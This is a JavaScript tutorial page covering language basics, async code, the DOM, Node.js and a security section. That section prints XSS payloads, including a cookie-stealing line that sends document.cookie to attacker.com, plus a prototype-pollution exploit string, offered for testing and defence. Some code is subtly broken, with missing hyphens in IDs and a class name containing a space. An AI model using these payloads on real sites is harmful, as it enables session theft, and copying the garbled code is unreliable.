Skip to content

JavaScript

JavaScript Logo

Table of Contents

Part 1: The Absolute Basics

1. Running JavaScript

You've got two main ways to run JavaScript:

  1. The Browser Console: Press F12 in any modern browser. You'll see a console where you can type JS code and it runs immediately on the current page. Perfect for testing things out.

  2. The <script> Tag: Want your code to be part of a webpage? Use the <script> tag.

    Internal Script:

    <script>
      console.log("Hello from an internal script!");
    </script>
    

    External Script (Better Practice):

    <!-- in your index.html -->
    <script src="app.js"></script>
    
    // in app.js
    console.log("Hello from an external script file!");
    

2. Variables: var, let, and const

  • var: The old way. It's function scoped and can be re declared, which causes bugs. Don't use var anymore.
  • let: Use this when you need to reassign a variable. It's block scoped (only exists inside the nearest {}).
  • const: Use this by default. You can't reassign it, and it's also block scoped. Only use let when you actually need to change the value later.
const name = "Alice"; // Cannot be changed
let score = 100;      // Can be changed
score = 101;

if (true) {
  let blockScopedVar = "I only exist in here";
}
// console.log(blockScopedVar); // This would cause an error

3. Data Types

JavaScript has primitive types and one structural type:

  • String: Text. Use quotes: "hello" or 'world'.
  • Number: Integers and decimals. Like 42 or 3.14.
  • Boolean: Just true or false.
  • null: Intentionally nothing. You set it.
  • undefined: Nothing, but because you forgot to set a value.
  • Symbol: Unique, immutable values. Rare but useful.
  • BigInt: For huge integers that regular numbers can't handle.
  • Object: Almost everything in JS is an object underneath. Arrays, functions, regular objects they're all objects.
const myString = "I am a string";
const myNumber = 1337;
const myBoolean = true;
const myObject = { key: "value" };
const myArray = [1, 2, 3];

4. Operators

  • Arithmetic: +, -, *, /, % (modulus remainder), ** (exponent 2**3 is 8)
  • Comparison: == (loose equality avoid!), === (strict equality use this!), !=, !==, >, <, >=, <=
  • Logical: && (AND), || (OR), ! (NOT)

Watch out for == vs ===. Loose equality (==) converts types behind your back, which causes weird bugs. Always use === instead.

console.log(5 == "5");   // true (bad!)
console.log(5 === "5");  // false (good!)
console.log(0 == false); // true (bad!)
console.log(0 === false);// false (good!)

Part 2: Core Language Features

5. Control Flow (if,-switch)

let role = "admin";

if (role === "admin") {
  console.log("You have full access.");
} else if (role === "editor") {
  console.log("You can write content.");
} else {
  console.log("You can only view content.");
}

switch (role) {
  case "admin":
    console.log("Full access granted.");
    break;
  case "editor":
    console.log("Editor access granted.");
    break;
  default:
    console.log("Guest access granted.");
}

6. Loops (for,-while)

// Standard for loop
for (let i = 0; i < 5; i++) {
  console.log(i);
}

// while loop
let count = 0;
while (count < 5) {
  console.log(count);
  count++;
}

// for...of loop (for iterating over arrays and other iterables)
const fruits = ["apple", "banana", "cherry"];
for (const fruit of fruits) {
  console.log(fruit);
}

// for...in loop (for iterating over object properties use with caution)
const user = { name: "Alice", role: "admin" };
for (const key in user) {
  console.log(`${key}: ${user[key]}`);
}

7. Functions

Functions are everywhere in JavaScript. They're how you organize your code.

// Function Declaration
function greet(name) {
  return `Hello, ${name}!`;
}

// Function Expression
const farewell = function(name) {
  return `Goodbye, ${name}!`;
};

// Arrow Function (ES6+)
const double = (x) => x * 2;

console.log(greet("Alice"));
console.log(farewell("Bob"));
console.log(double(5)); // 10

8. Arrays

Arrays are ordered lists. You can mix types if you want numbers, strings, objects, whatever.

const numbers = [1, 2, 3, 4, 5];

// Add/remove from the end
numbers.push(6); // [1, 2, 3, 4, 5, 6]
numbers.pop();   // [1, 2, 3, 4, 5]

// Get length
console.log(numbers.length); // 5

// --- Common Array Methods ---

// forEach: execute a function for each element
numbers.forEach(num => {
  console.log(num);
});

// map: create a new array by transforming each element
const doubled = numbers.map(num => num * 2); // [2, 4, 6, 8, 10]

// filter: create a new array with elements that pass a test
const evens = numbers.filter(num => num % 2 === 0); // [2, 4]

// reduce: execute a reducer function to produce a single value
const sum = numbers.reduce((accumulator, currentValue) => accumulator + currentValue, 0);
console.log(sum); // 15

9. Objects

Objects store key value pairs. They're your go to way to group related data together.

const user = {
  username: "0x1RIS",
  email: "0x1ris@example.com",
  isActive: true,
  roles: ["admin", "editor"],

  // Methods are functions that are properties of an object
  greet: function() {
    console.log(`Hello, my name is ${this.username}`);
  },

  // Modern method syntax
  displayRoles() {
    this.roles.forEach(role => console.log(role));
  }
};

// Accessing properties
console.log(user.username); // "0x1RIS"
console.log(user["email"]); // "0x1ris@example.com"

// Calling methods
user.greet();

Part 3: The Asynchronous Nature of JavaScript

JavaScript is single threaded it only does one thing at a time. But it handles long operations (like network requests) without freezing by using an event loop and asynchronous, non blocking I/O. Clever, right?

10. The Event Loop

Here's how it works: When you start an async operation (like fetch), JavaScript hands it off to the browser or Node.js. Your code keeps running. When the operation finishes, JavaScript puts a callback in a queue. The event loop checks if the main thread is free, and if it is, it grabs the first callback and runs it.

11. Callbacks (The Old-Way)

A callback is just a function you pass to another function. The outer function calls it when it's done. Simple concept, but it gets messy fast.

function fetchData(url, callback) {
  // Simulate a network request
  setTimeout(() => {
    const data = { message: "Data from " + url };
    callback(data);
  }, 1000);
}

fetchData("/api/users", (data) => {
  console.log(data);
});

// Nesting callbacks creates "Callback Hell" a pyramid of doom that's impossible to read or maintain.

12. Promises (The Better-Way)

A Promise represents something that will happen eventually it might succeed or fail. You chain .then() calls instead of nesting callbacks. Much cleaner.

function fetchData(url) {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      if (url) {
        resolve({ message: "Data from " + url });
      } else {
        reject(new Error("URL not provided"));
      }
    }, 1000);
  });
}

fetchData("/api/users")
  .then(data => {
    console.log("Promise resolved:", data);
  })
  .catch(error => {
    console.error("Promise rejected:", error);
  });

13. async/await (The Modern-Way)

async/await is syntactic sugar on top of Promises, but it's the good kind. You write async code that looks like normal code. Way easier to read.

  • An async function always returns a Promise.
  • await pauses your async function until the Promise finishes.
// The `fetch` API returns a Promise, so it works perfectly with async/await.
async function getUserData() {
  try {
    const response = await fetch('https://api.github.com/users/github');
    if (!response.ok) {
      throw new Error(`HTTP error! status: ${response.status}`);
    }
    const data = await response.json();
    console.log(data);
  } catch (error) {
    console.error("Could not fetch data:", error);
  }
}

getUserData();

Part 4: JavaScript in the Browser (The-DOM)

14. What is the DOM?

The Document Object Model (DOM) is how JavaScript talks to HTML. The browser turns your page into a tree of nodes and objects, and JavaScript can read and change everything content, structure, styles, the works.

15. Selecting Elements

Grab elements from the DOM first, then you can mess with them.

  • document.getElementById('id'): Gets the one element with that ID.
  • document.querySelector('selector'): Gets the first element matching a CSS selector. Super useful.
  • document.querySelectorAll('selector'): Gets all elements matching a CSS selector. Returns a NodeList.

<div id="main content">
  <p class="info">First paragraph.</p>
  <p class="info">Second paragraph.</p>
</div>
const mainContent = document.getElementById('main content');
const firstPara = document.querySelector('.info'); // Gets the first p
const allParas = document.querySelectorAll('.info'); // Gets both p tags

16. Manipulating Elements

Got an element? Change it however you want.

  • element.textContent: Get or set plain text. Safe it treats everything as text, no HTML parsing.
  • element.innerHTML: Get or set HTML content. Dangerous with user input can lead to XSS attacks.
  • element.style: Change inline styles directly.
  • element.classList: Add, remove, or toggle CSS classes. Use .add(), .remove(), or .toggle().
const heading = document.querySelector('h1');

heading.textContent = "New Heading Text"; // Safe
heading.style.color = "blue";
heading.classList.add("title highlight");

17. Handling Events

JavaScript is event driven. You can listen for user actions like clicks, key presses, and form submissions.

<button id="my button">Click Me</button>
const button = document.getElementById('my button');

button.addEventListener('click', function(event) {
  console.log('Button was clicked!');
  console.log(event); // The event object contains info about the event
});

18. The window Object

The window object is the global object in the browser. It represents the browser window and contains all global variables, functions, and important APIs like document, location, localStorage, and fetch.

// These are all properties of the window object
console.log(window.location.href); // The URL of the current page

// You can store data in the browser for later sessions
localStorage.setItem('username', '0x1RIS');
const user = localStorage.getItem('username');

// Redirect the user to another page
// window.location.href = "https://google.com";

Part 5: Modern JavaScript-(ES6+)

ES6 (ECMAScript 2015) was a major update to JavaScript that added a lot of powerful features and syntactic sugar. Most modern JS code uses these features heavily.

19. Arrow Functions

A more concise syntax for writing functions. They also behave differently with the this keyword, which can be very useful.

// Old way
function double(x) {
  return x * 2;
}

// New way
const doubleArrow = x => x * 2;

20. Template Literals

Use backticks (`) to create strings that can embed expressions.

const name = "Alice";
const score = 99;

// Old way
const messageOld = "User: " + name + " has a score of " + score;

// New way
const messageNew = `User: ${name} has a score of ${score}`;

21. Destructuring & Spread/Rest Operators

  • Destructuring: A way to unpack values from arrays or properties from objects into distinct variables.
  • Spread (...): Expands an iterable (like an array) into individual elements.
  • Rest (...): Collects multiple elements and condenses them into a single element.
// Object Destructuring
const user = { id: 1, name: "Bob" };
const { id, name } = user;
console.log(id); // 1

// Array Destructuring
const [first, second] = ["apple", "banana"];
console.log(first); // "apple"

// Spread Operator
const arr1 = [1, 2];
const arr2 = [...arr1, 3, 4]; // [1, 2, 3, 4]

// Rest Operator
function sum(...numbers) {
  return numbers.reduce((acc, val) => acc + val, 0);
}
console.log(sum(1, 2, 3, 4)); // 10

22. ES Modules-(import/export)

The standard way to reuse code in different files in modern JavaScript (both browser and Node.js).

utils.js

export const PI = 3.14;

export function double(x) {
  return x * 2;
}

main.js

import { PI, double } from './utils.js';

console.log(PI);
console.log(double(10)); // 20

In HTML, you must use <script type="module"> to use modules.

<script type="module" src="main.js"></script>

Part 6: JavaScript on the Server-(Node.js)

23. What is Node.js?

Node.js runs JavaScript outside the browser. It's built on Chrome's V8 engine, which makes it fast. Perfect for servers, APIs, and command line tools.

24. Modules in Node.js (require and-exports)

While modern Node.js supports ES Modules, the traditional and still very common system is CommonJS.

  • require(): A built in function to import a module.
  • module.exports: A special object that is returned when another file requires this file.

logger.js

function log(message) {
  console.log(`[LOG] ${new Date().toISOString()}: ${message}`);
}

module.exports = { log };

server.js

const logger = require('./logger.js');

logger.log("Server is starting...");

25. Core Node.js Modules (fs, path,-http)

Node.js comes with a powerful standard library for server side tasks.

  • fs (File System): For reading and writing files.
  • path: For working with file and directory paths in a cross platform way.
  • http: For creating HTTP servers and clients.
const fs = require('fs');
const path = require('path');

// Asynchronous file read
fs.readFile('./my file.txt', 'utf8', (err, data) => {
  if (err) throw err;
  console.log(data);
});

// Synchronous file read (less common)
// const data = fs.readFileSync('./my file.txt', 'utf8');

// Path manipulation
const fullPath = path.join(__dirname, 'files', 'report.pdf');
console.log(fullPath);

26. NPM: The Node Package Manager

NPM is the biggest package registry out there. It's a command line tool and a public registry of JavaScript packages.

  • package.json: Lives at your project root. Lists your project's info and dependencies.
  • npm init -y: Creates a default package.json.
  • npm install <package name>: Downloads and adds a package to dependencies.
  • npm install: Installs everything listed in package.json.

Part 7: JavaScript Security

JavaScript is dynamic and deeply integrated with browsers, which makes it a favorite target for attackers.

27. Cross-Site Scripting-(XSS)

XSS is the top web vulnerability. Attackers inject malicious JavaScript into a page, and it runs in victims' browsers.

  • Stored XSS: The script gets saved on the server (like in a comment) and every visitor sees it.
  • Reflected XSS: The malicious script comes from the current HTTP request (e.g., in a URL parameter) and is reflected back in the HTML response.
  • DOM-based XSS: The vulnerability exists entirely in client side code. A script reads data from a source (like window.location.hash) and writes it to a dangerous part of the DOM (a "sink") without proper sanitization.

Classic Payloads (for testing and defense):

<!-- Simple alert to prove it works -->
<script>alert('XSS')</script>

<!-- Image that executes code on error -->
<img src=x onerror=alert(document.domain)>

<!-- Stealing a user's cookie -->
<script>new Image().src='http://attacker.com/steal?c='+document.cookie;</script>

28. Defending Against DOM XSS

The key to preventing DOM XSS is to never write untrusted data to the DOM with a dangerous sink.

  • Dangerous Sinks: element.innerHTML, document.write(), element.outerHTML.
  • Safe Sinks: element.textContent, element.innerText.
const userInput = '<img src=x onerror=alert(1)>';

// --- VULNERABLE --- 
// The browser will parse the string as HTML and execute the script.
document.getElementById('welcome message').innerHTML = `Welcome, ${userInput}`;

// --- SAFE ---
// The browser will treat the entire string as plain text.
document.getElementById('welcome message').textContent = `Welcome, ${userInput}`;

If you absolutely must write user provided HTML to the page, you must sanitize it first using a well vetted library like DOMPurify.

29. AJAX, fetch, and CORS

  • Same-Origin Policy (SOP): A browser security feature that prevents a script on site a.com from making a request and reading the response from site b.com.
  • Cross-Origin Resource Sharing (CORS): A mechanism that allows a server to relax the SOP. The server site b.com can send special HTTP headers (like Access-Control-Allow-Origin: https://site a.com) to tell the browser that it's okay for site a.com to read the response.
  • Security Risk: A misconfigured CORS policy (e.g., Access-Control-Allow-Origin: *) can allow any website on the internet to make requests to your API on behalf of a user and steal their data.

30. Prototype Pollution

This is an advanced attack where an attacker modifies Object.prototype. Since most objects in JavaScript inherit from Object.prototype, this can inject properties into almost every object in an application, potentially leading to XSS or other logic bypasses.

It often happens in code that recursively merges objects.

Vulnerable Code (Conceptual):

function merge(target, source) {
  for (let key in source) {
    if (typeof target[key] === 'object' && typeof source[key] === 'object') {
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

Exploit: An attacker crafts a malicious JSON object, often from a URL query parameter like ?data={"__proto__":{"isAdmin":true}}. If the server parses this and merges it into an empty object, the prototype is "polluted."

let user = {};
console.log(user.isAdmin); // Now outputs: true, even though we never set it!

31. Analyzing and De obfuscating JavaScript

Developers often minify or obfuscate code to make it smaller or harder to read. As a security professional, you need to reverse this.

  • Tools: Use the Sources tab in your browser's DevTools. It often has a {} (Pretty Print) button to format minified code instantly.
  • Technique: Find where interesting strings are defined (often in a big array). Set breakpoints before critical functions like eval, innerHTML, or fetch. Step through the code and use the console to inspect the values of variables right before they are used.

Part 8: Cookbook

32. Cookbook-(Browser): A Simple To-Do List

This example demonstrates DOM manipulation and event handling.

index.html

<!DOCTYPE html>
<html lang="en">
<head>
  <title>To-Do List</title>
</head>
<body>
  <h1>My To-Do List</h1>
  <input type="text" id="new todo input" placeholder="What needs to be done?">
  <button id="add todo btn">Add</button>
  <ul id="todo list"></ul>
  <script src="todo.js"></script>
</body>
</html>

todo.js

const input = document.getElementById('new todo input');
const addButton = document.getElementById('add todo btn');
const list = document.getElementById('todo list');

function addTodo() {
  const todoText = input.value.trim();
  if (todoText === '') return; // Don't add empty todos

  const listItem = document.createElement('li');
  listItem.textContent = todoText; // Use textContent for safety

  list.appendChild(listItem);
  input.value = ''; // Clear the input
  input.focus();
}

addButton.addEventListener('click', addTodo);

input.addEventListener('keypress', function(event) {
  if (event.key === 'Enter') {
    addTodo();
  }
});

33. Cookbook-(Browser): Fetching API Data

This example fetches user data from the GitHub API and displays it.

index.html

<!DOCTYPE html>
<html lang="en">
<head>
  <title>GitHub User Fetcher</title>
</head>
<body>
  <h1>GitHub User Info</h1>
  <div id="user info"></div>
  <script src="api.js"></script>
</body>
</html>

api.js

const userInfoDiv = document.getElementById('user info');

async function fetchGitHubUser(username) {
  try {
    const response = await fetch(`https://api.github.com/users/${username}`);
    if (!response.ok) {
      throw new Error(`User not found: ${response.status}`);
    }
    const user = await response.json();

    // Use textContent and create elements manually to prevent XSS
    const html = `
      <img src="${user.avatar_url}" alt="Avatar for ${user.login}" width="100">
      <h2>${user.name} (@${user.login})</h2>
      <p>${user.bio || 'No bio available.'}</p>
      <p><strong>Followers:</strong> ${user.followers}</p>
    `;
    // Note: In a real app, you would not use innerHTML like this without sanitizing.
    // This is safe here only because we trust the GitHub API response structure.
    userInfoDiv.innerHTML = html;

  } catch (error) {
    userInfoDiv.textContent = `Error: ${error.message}`;
  }
}

fetchGitHubUser('github'); // Fetch info for the 'github' user

34. Cookbook-(Node.js): A Simple Web Server

This uses the built in http module to create a server that responds with JSON.

server.js

const http = require('http');

const server = http.createServer((req, res) => {
  if (req.url === '/' && req.method === 'GET') {
    res.writeHead(200, { 'Content-Type': 'application/json' });
    const responseData = {
      status: "OK",
      message: "Hello from the Node.js server!"
    };
    res.end(JSON.stringify(responseData));
  } else {
    res.writeHead(404, { 'Content-Type': 'application/json' });
    res.end(JSON.stringify({ error: "Not Found" }));
  }
});

const PORT = 3000;
server.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});

Run it with node server.js.

35. Cookbook-(Node.js): A Command Line File Lister

This script reads the contents of the current directory and prints them.

listFiles.js

const fs = require('fs');
const path = require('path');

const targetDirectory = process.argv[2] || '.'; // Use current dir if no arg provided

fs.readdir(targetDirectory, (err, files) => {
  if (err) {
    console.error("Error reading directory:", err);
    return;
  }

  console.log(`Contents of ${path.resolve(targetDirectory)}:`);
  files.forEach(file => {
    console.log(file);
  });
});

Sources